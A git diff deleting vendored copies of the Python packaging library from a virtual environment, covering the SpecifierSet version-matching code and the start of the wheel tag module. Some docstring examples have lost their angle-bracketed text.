default (buffer pre-releases until a final - appears); ``True`` yields everything; ``False`` drops pre-releases. - """ - if prereleases is None: - return _pep440_filter_prereleases(matches, key) - if prereleases: - return iter(matches) - return ( - item - for item in matches - if (parsed := coerce_version(item if key is None else key(item))) is None - or not parsed.is_prerelease - ) - - -class SpecifierSet(BaseSpecifier): - """This class abstracts handling of a set of version specifiers. - - It can be passed a single specifier (``>=3.0``), a comma-separated list of - specifiers (``>=3.0,!=3.1``), or no specifier at all. - - Instances are safe to serialize with :mod:`pickle`. They use a stable - format so the same pickle can be loaded in future packaging - releases. - - .. versionchanged:: 26.2 - - Added a stable pickle format. Pickles created with - packaging 26.2+ can be unpickled with future releases. - Backward compatibility with pickles from - packaging < 26.2 is supported but may be removed in a future - release. - """ - - __slots__ = ( - "_canonicalized", - "_has_arbitrary", - "_is_unsatisfiable", - "_prereleases", - "_ranges", - "_specs", - ) - - def __init__( - self, - specifiers: str | Iterable[Specifier] = "", - prereleases: bool | None = None, - ) -> None: - """Initialize a SpecifierSet instance. - - :param specifiers: - The string representation of a specifier or a comma-separated list of - specifiers which will be parsed and normalized before use. - May also be an iterable of ``Specifier`` instances, which will be used - as is. - :param prereleases: - This tells the SpecifierSet if it should accept prerelease versions if - applicable or not. The default of ``None`` will autodetect it from the - given specifiers. - - :raises InvalidSpecifier: - If the given ``specifiers`` are not parseable than this exception will be - raised. - """ - - if isinstance(specifiers, str): - # Split on `,` to break each individual specifier into its own item, and - # strip each item to remove leading/trailing whitespace. - split_specifiers = [s.strip() for s in specifiers.split(",") if s.strip()] - - self._specs: tuple[Specifier, ...] = tuple(map(Specifier, split_specifiers)) - # Fast substring check; avoids iterating parsed specs. - self._has_arbitrary = "===" in specifiers - else: - self._specs = tuple(specifiers) - # Substring check works for both Specifier objects and plain - # strings (setuptools passes lists of strings). - self._has_arbitrary = any("===" in str(s) for s in self._specs) - - self._canonicalized = len(self._specs) <= 1 - self._is_unsatisfiable: bool | None = None - self._ranges: Sequence[Interval] | None = None - - # Store our prereleases value so we can use it later to determine if - # we accept prereleases or not. - self._prereleases = prereleases - - def _canonical_specs(self) -> tuple[Specifier, ...]: - """Deduplicate, sort, and cache specs for order-sensitive operations.""" - if not self._canonicalized: - self._specs = tuple(dict.fromkeys(sorted(self._specs, key=str))) - self._canonicalized = True - return self._specs - - @property - def prereleases(self) -> bool | None: - # If we have been given an explicit prerelease modifier, then we'll - # pass that through here. - if self._prereleases is not None: - return self._prereleases - - # If we don't have any specifiers, and we don't have a forced value, - # then we'll just return None since we don't know if this should have - # pre-releases or not. - if not self._specs: - return None - - # Otherwise we'll see if any of the given specifiers accept - # prereleases, if any of them do we'll return True, otherwise False. - if any(s.prereleases for s in self._specs): - return True - - return None - - @prereleases.setter - def prereleases(self, value: bool | None) -> None: - self._prereleases = value - self._is_unsatisfiable = None - - def __getstate__(self) -> tuple[tuple[Specifier, ...], bool | None]: - # Return state as a 2-item tuple for compactness: - # (specs, prereleases) - # Cache members are excluded and will be recomputed on demand. - return (self._specs, self._prereleases) - - def __setstate__(self, state: object) -> None: - # Always discard cached values - they will be recomputed on demand. - self._ranges = None - self._is_unsatisfiable = None - - if isinstance(state, tuple): - if len(state) == 2: - # New format (26.2+): (specs, prereleases) - specs, prereleases = state - if ( - isinstance(specs, tuple) - and all(isinstance(s, Specifier) for s in specs) - and _validate_pre(prereleases) - ): - self._specs = specs - self._prereleases = prereleases - self._canonicalized = len(specs) <= 1 - self._has_arbitrary = any("===" in str(s) for s in specs) - return - if len(state) == 2 and isinstance(state[1], dict): - # Format (packaging 26.0-26.1): (None, {slot: value}). - _, slot_dict = state - specs = slot_dict.get("_specs", ()) - prereleases = slot_dict.get("_prereleases") - # Convert frozenset to tuple (26.0 stored as frozenset) - if isinstance(specs, frozenset): - specs = tuple(sorted(specs, key=str)) - if ( - isinstance(specs, tuple) - and all(isinstance(s, Specifier) for s in specs) - and _validate_pre(prereleases) - ): - self._specs = specs - self._prereleases = prereleases - self._canonicalized = len(self._specs) <= 1 - self._has_arbitrary = any("===" in str(s) for s in self._specs) - return - if isinstance(state, dict): - # Old format (packaging <= 25.x, no __slots__): state is a plain dict. - specs = state.get("_specs", ()) - prereleases = state.get("_prereleases") - # Convert frozenset to tuple (26.0 stored as frozenset) - if isinstance(specs, frozenset): - specs = tuple(sorted(specs, key=str)) - if ( - isinstance(specs, tuple) - and all(isinstance(s, Specifier) for s in specs) - and _validate_pre(prereleases) - ): - self._specs = specs - self._prereleases = prereleases - self._canonicalized = len(self._specs) <= 1 - self._has_arbitrary = any("===" in str(s) for s in self._specs) - return - - raise TypeError(f"Cannot restore SpecifierSet from {state!r}") - - def __repr__(self) -> str: - """A representation of the specifier set that shows all internal state. - - Note that the ordering of the individual specifiers within the set may not - match the input string. - - >>> SpecifierSet('>=1.0.0,!=2.0.0') - =1.0.0')> - >>> SpecifierSet('>=1.0.0,!=2.0.0', prereleases=False) - =1.0.0', prereleases=False)> - >>> SpecifierSet('>=1.0.0,!=2.0.0', prereleases=True) - =1.0.0', prereleases=True)> - """ - pre = ( - f", prereleases={self.prereleases!r}" - if self._prereleases is not None - else "" - ) - - return f"<{self.__class__.__name__}({str(self)!r}{pre})>" - - def __str__(self) -> str: - """A string representation of the specifier set that can be round-tripped. - - Note that the ordering of the individual specifiers within the set may not - match the input string. - - >>> str(SpecifierSet(">=1.0.0,!=1.0.1")) - '!=1.0.1,>=1.0.0' - >>> str(SpecifierSet(">=1.0.0,!=1.0.1", prereleases=False)) - '!=1.0.1,>=1.0.0' - """ - return ",".join(str(s) for s in self._canonical_specs()) - - def __hash__(self) -> int: - return hash(self._canonical_specs()) - - def __and__(self, other: SpecifierSet | str) -> SpecifierSet: - """Return a SpecifierSet which is a combination of the two sets. - - :param other: The other object to combine with. - - >>> SpecifierSet(">=1.0.0,!=1.0.1") & '<=2.0.0,!=2.0.1' - =1.0.0')> - >>> SpecifierSet(">=1.0.0,!=1.0.1") & SpecifierSet('<=2.0.0,!=2.0.1') - =1.0.0')> - """ - if isinstance(other, str): - other = SpecifierSet(other) - elif not isinstance(other, SpecifierSet): - return NotImplemented - - specifier = SpecifierSet() - specifier._specs = self._specs + other._specs - specifier._canonicalized = len(specifier._specs) <= 1 - specifier._has_arbitrary = self._has_arbitrary or other._has_arbitrary - - # Combine prerelease settings: use common or non-None value - if self._prereleases is None or self._prereleases == other._prereleases: - specifier._prereleases = other._prereleases - elif other._prereleases is None: - specifier._prereleases = self._prereleases - else: - raise ValueError( - "Cannot combine SpecifierSets with True and False prerelease overrides." - ) - - return specifier - - def __eq__(self, other: object) -> bool: - """Whether or not the two SpecifierSet-like objects are equal. - - :param other: The other object to check against. - - The value of :attr:`prereleases` is ignored. - - >>> SpecifierSet(">=1.0.0,!=1.0.1") == SpecifierSet(">=1.0.0,!=1.0.1") - True - >>> (SpecifierSet(">=1.0.0,!=1.0.1", prereleases=False) == - ... SpecifierSet(">=1.0.0,!=1.0.1", prereleases=True)) - True - >>> SpecifierSet(">=1.0.0,!=1.0.1") == ">=1.0.0,!=1.0.1" - True - >>> SpecifierSet(">=1.0.0,!=1.0.1") == SpecifierSet(">=1.0.0") - False - >>> SpecifierSet(">=1.0.0,!=1.0.1") == SpecifierSet(">=1.0.0,!=1.0.2") - False - """ - if isinstance(other, (str, Specifier)): - other = SpecifierSet(str(other)) - elif not isinstance(other, SpecifierSet): - return NotImplemented - - return self._canonical_specs() == other._canonical_specs() - - def __len__(self) -> int: - """Returns the number of specifiers in this specifier set.""" - return len(self._specs) - - def __iter__(self) -> Iterator[Specifier]: - """ - Returns an iterator over all the underlying :class:`Specifier` instances - in this specifier set. - - >>> sorted(SpecifierSet(">=1.0.0,!=1.0.1"), key=str) - [, =1.0.0')>] - """ - return iter(self._specs) - - def _get_ranges(self) -> Sequence[Interval]: - """Intersect all specifiers into a single sequence of version ranges. - - Empty when unsatisfiable. Callers must ensure ``self._specs`` - is non-empty. - """ - if self._ranges is not None: - return self._ranges - - self._ranges = intersect_specifier_bounds(s._to_ranges() for s in self._specs) - return self._ranges - - def is_unsatisfiable(self) -> bool: - """Check whether this specifier set can never be satisfied. - - Returns True if no version can satisfy all specifiers simultaneously. - - >>> SpecifierSet(">=2.0,<1.0").is_unsatisfiable() - True - >>> SpecifierSet(">=1.0,<2.0").is_unsatisfiable() - False - >>> SpecifierSet("").is_unsatisfiable() - False - >>> SpecifierSet("==1.0,!=1.0").is_unsatisfiable() - True - - .. versionadded:: 26.1 - """ - cached = self._is_unsatisfiable - if cached is not None: - return cached - - if not self._specs: - self._is_unsatisfiable = False - return False - - result = not self._get_ranges() - - if not result: - result = self._check_arbitrary_unsatisfiable() - - if not result and self.prereleases is False: - result = ranges_are_prerelease_only(self._get_ranges()) - - self._is_unsatisfiable = result - return result - - def _check_arbitrary_unsatisfiable(self) -> bool: - """Check === (arbitrary equality) specs for unsatisfiability. - - === uses case-insensitive string comparison, so the only candidate - that can match ``===V`` is the literal string V. This method - checks whether that candidate is excluded by other specifiers. - """ - arbitrary = [s for s in self._specs if s.operator == "==="] - if not arbitrary: - return False - - # Multiple === must agree on the same string (case-insensitive). - first = arbitrary[0].version.lower() - if any(s.version.lower() != first for s in arbitrary[1:]): - return True - - # The sole candidate is the === version string. Check whether - # it can satisfy every standard spec. - candidate = coerce_version(arbitrary[0].version) - - # With prereleases=False, a prerelease candidate is excluded - # by contains() before the === string check even runs. - if ( - self.prereleases is False - and candidate is not None - and candidate.is_prerelease - ): - return True - - standard = [s for s in self._specs if s.operator != "==="] - if not standard: - return False - - if candidate is None: - # Unparsable string cannot satisfy any standard spec. - return True - - return not all(s.contains(candidate) for s in standard) - - def to_range(self) -> ranges.VersionRange: - """Return the :class:`~packaging.ranges.VersionRange` this set accepts. - - An empty set yields the full range; an unsatisfiable set yields the - empty range. ``===`` specifiers contribute literal-string admission. - - >>> SpecifierSet(">=1.0,<2.0").to_range() - - - .. versionadded:: 26.3 - """ - from .ranges import VersionRange # noqa: PLC0415 - - return VersionRange._from_specifier_set(self) - - def _check_relation_operand(self, other: object) -> None: - if not isinstance(other, SpecifierSet): - raise TypeError("expected a SpecifierSet") - if self._has_arbitrary or other._has_arbitrary: - raise ValueError("set relations do not support === specifiers") - - def is_subset(self, other: SpecifierSet) -> bool: - """Return whether every version matching this set also matches other. - - :raises ValueError: - If either set uses ``===`` specifiers, or the two sets were - given different ``prereleases`` arguments (unset on one side - counts as different). - :raises TypeError: - If other is not a :class:`SpecifierSet`. - - >>> SpecifierSet(">=3.12,<3.13").is_subset(SpecifierSet(">=3.12")) - True - >>> SpecifierSet(">=3.12").is_subset(SpecifierSet(">=3.12,<3.13")) - False - - .. versionadded:: 26.3 - """ - self._check_relation_operand(other) - return self.to_range().is_subset(other.to_range()) - - def is_superset(self, other: SpecifierSet) -> bool: - """Return whether every version matching other also matches this set. - - :raises ValueError: - If either set uses ``===`` specifiers, or the two sets were - given different ``prereleases`` arguments (unset on one side - counts as different). - :raises TypeError: - If other is not a :class:`SpecifierSet`. - - >>> SpecifierSet(">=3.12").is_superset(SpecifierSet(">=3.12,<3.13")) - True - - .. versionadded:: 26.3 - """ - self._check_relation_operand(other) - return self.to_range().is_superset(other.to_range()) - - def is_disjoint(self, other: SpecifierSet) -> bool: - """Return whether this set and other share no matching versions. - - :raises ValueError: - If either set uses ``===`` specifiers, or the two sets were - given different ``prereleases`` arguments (unset on one side - counts as different). - :raises TypeError: - If other is not a :class:`SpecifierSet`. - - >>> SpecifierSet("<3.12").is_disjoint(SpecifierSet(">=3.12")) - True - >>> SpecifierSet("<3.12").is_disjoint(SpecifierSet(">=3.11")) - False - - .. versionadded:: 26.3 - """ - self._check_relation_operand(other) - return self.to_range().is_disjoint(other.to_range()) - - def __contains__(self, item: UnparsedVersion) -> bool: - """Return whether or not the item is contained in this specifier. - - :param item: The item to check for. - - This is used for the ``in`` operator and behaves the same as - :meth:`contains` with no ``prereleases`` argument passed. - - >>> "1.2.3" in SpecifierSet(">=1.0.0,!=1.0.1") - True - >>> Version("1.2.3") in SpecifierSet(">=1.0.0,!=1.0.1") - True - >>> "1.0.1" in SpecifierSet(">=1.0.0,!=1.0.1") - False - >>> "1.3.0a1" in SpecifierSet(">=1.0.0,!=1.0.1") - True - >>> "1.3.0a1" in SpecifierSet(">=1.0.0,!=1.0.1", prereleases=True) - True - """ - return self.contains(item) - - def contains( - self, - item: UnparsedVersion, - prereleases: bool | None = None, - installed: bool | None = None, - ) -> bool: - """Return whether or not the item is contained in this SpecifierSet. - - :param item: - The item to check for, which can be a version string or a - :class:`~packaging.version.Version` instance. - :param prereleases: - Whether or not to match prereleases with this SpecifierSet. If set to - ``None`` (the default), it will follow the recommendation from :pep:`440` - and match prereleases, as there are no other versions. - :param installed: - Whether or not the item is installed. If set to ``True``, it will - accept prerelease versions even if the specifier does not allow them. - - >>> SpecifierSet(">=1.0.0,!=1.0.1").contains("1.2.3") - True - >>> SpecifierSet(">=1.0.0,!=1.0.1").contains(Version("1.2.3")) - True - >>> SpecifierSet(">=1.0.0,!=1.0.1").contains("1.0.1") - False - >>> SpecifierSet(">=1.0.0,!=1.0.1").contains("1.3.0a1") - True - >>> SpecifierSet(">=1.0.0,!=1.0.1", prereleases=False).contains("1.3.0a1") - False - >>> SpecifierSet(">=1.0.0,!=1.0.1").contains("1.3.0a1", prereleases=True) - True - - .. versionchanged:: 26.0 - - With ``prereleases=None``, a prerelease now matches. A single - version has no alternatives, so the :pep:`440` rule to accept - prereleases when nothing else satisfies the specifiers applies. - Earlier versions rejected it. An unparsable version now returns - ``False`` instead of raising :exc:`~packaging.version.InvalidVersion`. - """ - version = coerce_version(item) - - if version is not None and installed and version.is_prerelease: - prereleases = True - - # When item is a string and === is involved, keep it as-is - # so the comparison isn't done against the normalized form. - if version is None or (self._has_arbitrary and not isinstance(item, Version)): - check_item = item - else: - check_item = version - - # Fast path: a parseable, local-free version against a rangelike set. - # A local on ``version`` needs PEP 440 stripping that the range path - # applies. - if ( - version is not None - and not self._has_arbitrary - and version.local is None - and self._specs - ): - if version.is_prerelease and ( - prereleases is False - or (prereleases is None and self._prereleases is False) - ): - return False - - bounds = self._ranges - if bounds is None: - # Per-spec ``_fast_match`` answers a set of simple specifiers - # without folding anything. If a spec needs the range path, - # fold the intersected bounds once and cache them so repeated - # checks on the same set stay cheap. - for spec in self._specs: - match = _fast_match(spec, version) - if match is None: - break - if not match: - return False - else: - return True - - bounds = self._ranges = self._get_ranges() - - return matches_bounds_only(bounds, version) - - return bool(list(self.filter([check_item], prereleases=prereleases))) - - @typing.overload - def filter( - self, - iterable: Iterable[UnparsedVersionVar], - prereleases: bool | None = None, - key: None = ..., - ) -> Iterator[UnparsedVersionVar]: ... - - @typing.overload - def filter( - self, - iterable: Iterable[T], - prereleases: bool | None = None, - key: Callable[[T], UnparsedVersion] = ..., - ) -> Iterator[T]: ... - - def filter( - self, - iterable: Iterable[Any], - prereleases: bool | None = None, - key: Callable[[Any], UnparsedVersion] | None = None, - ) -> Iterator[Any]: - """Filter items in the given iterable, that match the specifiers in this set. - - :param iterable: - An iterable that can contain version strings and - :class:`~packaging.version.Version` instances. The items in the - iterable will be filtered according to the specifier. - :param prereleases: - Whether or not to allow prereleases in the returned iterator. If set to - ``None`` (the default), it will follow the recommendation from :pep:`440` - and match prereleases if there are no other versions. - :param key: - A callable that takes a single argument (an item from the iterable) and - returns a version string or :class:`~packaging.version.Version` - instance to be used for filtering. - - >>> list(SpecifierSet(">=1.2.3").filter(["1.2", "1.3", "1.5a1"])) - ['1.3'] - >>> list(SpecifierSet(">=1.2.3").filter(["1.2", "1.3", Version("1.4")])) - ['1.3', ] - >>> list(SpecifierSet(">=1.2.3").filter(["1.2", "1.5a1"])) - ['1.5a1'] - >>> list(SpecifierSet(">=1.2.3").filter(["1.3", "1.5a1"], prereleases=True)) - ['1.3', '1.5a1'] - >>> list(SpecifierSet(">=1.2.3", prereleases=True).filter(["1.3", "1.5a1"])) - ['1.3', '1.5a1'] - >>> list(SpecifierSet(">=1.2.3").filter( - ... [{"ver": "1.2"}, {"ver": "1.3"}], - ... key=lambda x: x["ver"])) - [{'ver': '1.3'}] - - An "empty" SpecifierSet will filter items based on the presence of prerelease - versions in the set. - - >>> list(SpecifierSet("").filter(["1.3", "1.5a1"])) - ['1.3'] - >>> list(SpecifierSet("").filter(["1.5a1"])) - ['1.5a1'] - >>> list(SpecifierSet("", prereleases=True).filter(["1.3", "1.5a1"])) - ['1.3', '1.5a1'] - >>> list(SpecifierSet("").filter(["1.3", "1.5a1"], prereleases=True)) - ['1.3', '1.5a1'] - - .. versionchanged:: 26.0 - - Prerelease filtering now follows the PEP 440 recommendation of - yielding prereleases only when no final release is present. - - .. versionchanged:: 26.1 - - Added the ``key`` parameter. - """ - # Determine if we're forcing a prerelease or not, if we're not forcing - # one for this particular filter call, then we'll use whatever the - # SpecifierSet thinks for whether or not we should support prereleases. - if prereleases is None and self.prereleases is not None: - prereleases = self.prereleases - - if self._specs: - if self._has_arbitrary: - # Slow path for === - specs = self._specs - matches = ( - item - for item in iterable - if all( - s.contains(item if key is None else key(item), prereleases=True) - for s in specs - ) - ) - return _apply_prereleases_filter(matches, key, prereleases) - - ranges = self._ranges - if ranges is None: - ranges = self._get_ranges() - return filter_by_ranges(ranges, iterable, key, prereleases) - - # Empty SpecifierSet. - return _apply_prereleases_filter(iterable, key, prereleases) - - -def _pep440_filter_prereleases( - iterable: Iterable[Any], key: Callable[[Any], UnparsedVersion] | None -) -> Iterator[Any]: - """Filter per PEP 440: exclude prereleases unless no finals exist.""" - # Two lists used: - # * all_nonfinal to preserve order if no finals exist - # * arbitrary_strings for streaming when first final found - all_nonfinal: list[Any] = [] - arbitrary_strings: list[Any] = [] - - found_final = False - for item in iterable: - parsed = coerce_version(item if key is None else key(item)) - - if parsed is None: - # Arbitrary strings are always included as it is not - # possible to determine if they are prereleases, - # and they have already passed all specifiers. - if found_final: - yield item - else: - arbitrary_strings.append(item) - all_nonfinal.append(item) - continue - - if not parsed.is_prerelease: - # Final release found - flush arbitrary strings, then yield - if not found_final: - yield from arbitrary_strings - found_final = True - yield item - continue - - # Prerelease - buffer if no finals yet, otherwise skip - if not found_final: - all_nonfinal.append(item) - - # No finals found - yield all buffered items - if not found_final: - yield from all_nonfinal diff --git a/venv/Lib/site-packages/packaging/tags.py b/venv/Lib/site-packages/packaging/tags.py deleted file mode 100644 index dd1ea911e17f1bfd2b5c62a10865450059c21413..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/tags.py +++ /dev/null @@ -1,1053 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import logging -import operator -import platform -import re -import struct -import subprocess -import sys -import sysconfig -from collections.abc import Iterable, Iterator, Sequence -from importlib.machinery import EXTENSION_SUFFIXES -from typing import ( - TYPE_CHECKING, - TypeVar, - cast, -) - -from . import _manylinux, _musllinux - -if TYPE_CHECKING: - from collections.abc import Callable - from collections.abc import Set as AbstractSet - - -__all__ = [ - "INTERPRETER_SHORT_NAMES", - "AppleVersion", - "InvalidTag", - "PythonVersion", - "Tag", - "TooManyTagsError", - "UnsortedTagsError", - "android_platforms", - "compatible_tags", - "cpython_tags", - "create_compatible_tags_selector", - "generic_tags", - "interpreter_name", - "interpreter_version", - "ios_platforms", - "mac_platforms", - "parse_tag", - "platform_tags", - "pure_python_tags", - "sys_tags", -] - - -def __dir__() -> list[str]: - return __all__ - - -logger = logging.getLogger(__name__) - -PythonVersion = Sequence[int] -""" -A sequence of integers describing a Python version, e.g. ``(3, 13)``. - -.. versionadded:: 20.0 -""" - -AppleVersion = tuple[int, int] -""" -A ``(major, minor)`` integer pair describing an Apple OS version. - -.. versionadded:: 24.2 -""" -_T = TypeVar("_T") - -INTERPRETER_SHORT_NAMES: dict[str, str] = { - "python": "py", # Generic. - "cpython": "cp", - "pypy": "pp", - "ironpython": "ip", - "jython": "jy", -} - - -# This function can be unit tested without reloading the module -# (Unlike _32_BIT_INTERPRETER) -def _compute_32_bit_interpreter() -> bool: - return struct.calcsize("P") == 4 - - -_32_BIT_INTERPRETER = _compute_32_bit_interpreter() - - -class UnsortedTagsError(ValueError): - """ - Raised when a tag component is not in sorted order per PEP 425. - - .. versionadded:: 26.1 - """ - - -class InvalidTag(ValueError): - """ - Raised when an interpreter component is not an identifier, a tag component - is empty, or a tag does not have exactly three components. - - .. versionadded:: 26.3 - """ - - -class TooManyTagsError(ValueError): - """ - Raised when a compressed tag set exceeds the configured limit. - - .. versionadded:: 26.3 - """ - - -class Tag: - """ - A representation of the tag triple for a wheel. - - Instances are considered immutable and thus are hashable. Equality checking - is also supported. - - Instances are safe to serialize with :mod:`pickle`. They use a stable - format so the same pickle can be loaded in future packaging releases. - - .. versionchanged:: 26.2 - - Added a stable pickle format. Pickles created with packaging 26.2+ can - be unpickled with future releases. Backward compatibility with pickles - from packaging < 26.2 is supported but may be removed in a future - release. - """ - - __slots__ = ["_abi", "_hash", "_interpreter", "_platform"] - - def __init__(self, interpreter: str, abi: str, platform: str) -> None: - """ - :param str interpreter: The interpreter name, e.g. ``"py"`` - (see :attr:`INTERPRETER_SHORT_NAMES` for mapping - well-known interpreter names to their short names). - :param str abi: The ABI that a wheel supports, e.g. ``"cp37m"``. - :param str platform: The OS/platform the wheel supports, - e.g. ``"win_amd64"``. - """ - self._interpreter = interpreter.lower() - self._abi = abi.lower() - self._platform = platform.lower() - # The __hash__ of every single element in a Set[Tag] will be evaluated each time - # that a set calls its `.disjoint()` method, which may be called hundreds of - # times when scanning a page of links for packages with tags matching that - # Set[Tag]. Pre-computing the value here produces significant speedups for - # downstream consumers. - self._hash = hash((self._interpreter, self._abi, self._platform)) - - @property - def interpreter(self) -> str: - """ - The interpreter name, e.g. ``"py"`` (see - :attr:`INTERPRETER_SHORT_NAMES` for mapping well-known interpreter - names to their short names). - """ - return self._interpreter - - @property - def abi(self) -> str: - """ - The supported ABI. - """ - return self._abi - - @property - def platform(self) -> str: - """ - The OS/platform. - """ - return self._platform - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Tag): - return NotImplemented - - return ( - (self._hash == other._hash) # Short-circuit ASAP for perf reasons. - and (self._platform == other._platform) - and (self._abi == other._abi) - and (self._interpreter == other._interpreter) - ) - - def __hash__(self) -> int: - return self._hash - - def __str__(self) -> str: - return f"{self._interpreter}-{self._abi}-{self._platform}" - - def __repr__(self) -> str: - return f"<{self} @ {id(self)}>" - - def __getstate__(self) -> tuple[str, str, str]: - # Return state as a 3-item tuple: (interpreter, abi, platform). - # Cache member _hash is excluded and will be recomputed. - return (self._interpreter, self._abi, self._platform) - - def __setstate__(self, state: object) -> None: - if isinstance(state, tuple): - if len(state) == 3 and all(isinstance(s, str) for s in state): - # New format (26.2+): (interpreter, abi, platform) - self._interpreter, self._abi, self._platform = state - self._hash = hash((self._interpreter, self._abi, self._platform)) - return - if len(state) == 2 and isinstance(state[1], dict): - # Old format (packaging <= 26.1, __slots__): (None, {slot: value}). - _, slots = state - try: - interpreter = slots["_interpreter"] - abi = slots["_abi"] - platform = slots["_platform"] - except KeyError: - raise TypeError(f"Cannot restore Tag from {state!r}") from None - if not all( - isinstance(value, str) for value in (interpreter, abi, platform) - ): - raise TypeError(f"Cannot restore Tag from {state!r}") - self._interpreter = interpreter.lower() - self._abi = abi.lower() - self._platform = platform.lower() - self._hash = hash((self._interpreter, self._abi, self._platform)) - return - raise TypeError(f"Cannot restore Tag from {state!r}") - - -def parse_tag( - tag: str, *, validate_order: bool = False, limit: int | None = None -) -> frozenset[Tag]: - """ - Parses the provided tag (e.g. `py3-none-any`) into a frozenset of - :class:`Tag` instances. - - Returning a set is required due to the possibility that the tag is a - `compressed tag set`_, e.g. ``"py2.py3-none-any"`` which supports both - Python 2 and Python 3. - - If **validate_order** is true, compressed tag set components are checked - to be in sorted order as required by PEP 425. - - If **limit** is not ``None``, the compressed tag set can generate at most - that many tags. - - :param str tag: The tag to parse, e.g. ``"py3-none-any"``. - :param bool validate_order: Check whether compressed tag set components - are in sorted order. - :param int | None limit: The maximum number of tags to parse. - :raises UnsortedTagsError: If **validate_order** is true and any compressed tag - set component is not in sorted order. - :raises InvalidTag: If the interpreter field is not an identifier; if the - interpreter, ABI, or platform field (or any member of a compressed tag - set) is empty; or if the tag does not have exactly three components. - :raises TooManyTagsError: If **limit** is not ``None`` and the compressed tag - set would generate more than **limit** tags. - :raises ValueError: If **limit** is negative. - - .. versionadded:: 26.1 - The *validate_order* parameter. - - .. versionadded:: 26.3 - Raises :class:`InvalidTag` when an interpreter component is not an - identifier, a tag component is empty, or a tag does not have exactly - three components. - Added the *limit* parameter. Raises :class:`TooManyTagsError` if the compressed - tag set would generate more than *limit* tags. - """ - - if limit is not None and limit < 0: - raise ValueError("limit must be non-negative") - - component_parts = [component.split(".") for component in tag.split("-")] - for parts in component_parts: - if "" in parts: - component = ".".join(parts) - raise InvalidTag(f"Tag {tag!r} has an empty component: {component!r}") - if validate_order and parts != sorted(parts): - component = ".".join(parts) - raise UnsortedTagsError( - f"Tag component {component!r} is not in sorted order per PEP 425" - ) - - tag_count = 1 - for parts in component_parts: - tag_count *= len(parts) - - if limit is not None and tag_count > limit: - raise TooManyTagsError( - f"Compressed tag set would generate {tag_count} tags, exceeding " - f"limit {limit}" - ) - - try: - interpreters, abis, platforms = component_parts - except ValueError as exc: - raise InvalidTag(f"Tag {tag!r} must have exactly three components") from exc - for interpreter in interpreters: - if not interpreter.isidentifier(): - raise InvalidTag(f"Tag {tag!r} has an invalid interpreter: {interpreter!r}") - return frozenset( - Tag(interpreter, abi, platform_) - for interpreter in interpreters - for abi in abis - for platform_ in platforms - ) - - -def _get_config_var(name: str, warn: bool = False) -> int | str | None: - value: int | str | None = sysconfig.get_config_var(name) - if value is None and warn: - logger.debug( - "Config variable '%s' is unset, Python ABI tag may be incorrect", name - ) - return value - - -def _normalize_string(string: str) -> str: - return string.replace(".", "_").replace("-", "_").replace(" ", "_") - - -def _is_threaded_cpython(abis: list[str]) -> bool: - """ - Determine if the ABI corresponds to a threaded (`--disable-gil`) build. - - The threaded builds are indicated by a "t" in the abiflags. - """ - if len(abis) == 0: - return False - # expect e.g., cp313 - m = re.match(r"cp\d+(.*)", abis[0]) - if not m: - return False - abiflags = m.group(1) - return "t" in abiflags - - -def _abi3_applies(python_version: PythonVersion, threading: bool) -> bool: - """ - Determine if the Python version supports abi3. - - PEP 384 was first implemented in Python 3.2. The free-threaded - builds do not support abi3. - """ - return len(python_version) > 1 and tuple(python_version) >= (3, 2) and not threading - - -def _abi3t_applies(python_version: PythonVersion, threading: bool) -> bool: - """ - Determine if the Python version supports abi3t. - - PEP 803 was first implemented in Python 3.15 but, per PEP 803, this - returns tags going back to Python 3.2 to mirror the abi3 - implementation and leave open the possibility of abi3t wheels - supporting older Python versions. - - """ - return len(python_version) > 1 and tuple(python_version) >= (3, 2) and threading - - -def _cpython_abis(py_version: PythonVersion, warn: bool = False) -> list[str]: - py_version = tuple(py_version) # To allow for version comparison. - abis = [] - version = _version_nodot(py_version[:2]) - threading = debug = pymalloc = ucs4 = "" - with_debug = _get_config_var("Py_DEBUG", warn) - has_refcount = hasattr(sys, "gettotalrefcount") - # Windows doesn't set Py_DEBUG, so checking for support of debug-compiled - # extension modules is the best option. - # https://github.com/pypa/pip/issues/3383#issuecomment-173267692 - has_ext = "_d.pyd" in EXTENSION_SUFFIXES - if with_debug or (with_debug is None and (has_refcount or has_ext)): - debug = "d" - if py_version >= (3, 13) and _get_config_var("Py_GIL_DISABLED", warn): - threading = "t" - if py_version < (3, 8): - with_pymalloc = _get_config_var("WITH_PYMALLOC", warn) - if with_pymalloc or with_pymalloc is None: - pymalloc = "m" - if py_version < (3, 3): - unicode_size = _get_config_var("Py_UNICODE_SIZE", warn) - if unicode_size == 4 or ( - unicode_size is None and sys.maxunicode == 0x10FFFF - ): - ucs4 = "u" - elif debug: - # Debug builds can also load "normal" extension modules. - # We can also assume no UCS-4 or pymalloc requirement. - abis.append(f"cp{version}{threading}") - abis.insert(0, f"cp{version}{threading}{debug}{pymalloc}{ucs4}") - return abis - - -def cpython_tags( - python_version: PythonVersion | None = None, - abis: Iterable[str] | None = None, - platforms: Iterable[str] | None = None, - *, - warn: bool = False, -) -> Iterator[Tag]: - """ - Yields the tags for the CPython interpreter. - - The specific tags generated are: - - - ``cp--`` - - ``cp--`` - - ``cp-none-`` - - ``cp--`` where "older version" is all older - minor versions down to Python 3.2 (when ``abi3`` was introduced) - - If ``python_version`` only provides a major-only version then only - user-provided ABIs via ``abis`` and the ``none`` ABI will be used. - - The ``stable_abi`` will be either ``abi3`` or ``abi3t`` if `abi` is a - GIL-enabled ABI like `"cp315"` or a free-threaded ABI like `"cp315t"`, - respectively. - - :param Sequence python_version: A one- or two-item sequence representing the - targeted Python version. Defaults to - ``sys.version_info[:2]``. - :param Iterable abis: Iterable of compatible ABIs. Defaults to the ABIs - compatible with the current system. - :param Iterable platforms: Iterable of compatible platforms. Defaults to the - platforms compatible with the current system. - :param bool warn: Whether warnings should be logged. Defaults to ``False``. - - .. versionadded:: 20.0 - """ - if not python_version: - python_version = sys.version_info[:2] - - interpreter = f"cp{_version_nodot(python_version[:2])}" - - if abis is None: - abis = _cpython_abis(python_version, warn) if len(python_version) > 1 else [] - abis = list(abis) - threading = _is_threaded_cpython(abis) - # Stable ABIs and 'none' are explicitly handled later. - explicit_abis = ("abi3", "abi3t", "none") if threading else ("abi3", "none") - for explicit_abi in explicit_abis: - try: - abis.remove(explicit_abi) - except ValueError: # noqa: PERF203 - pass - - platforms = list(platforms or platform_tags()) 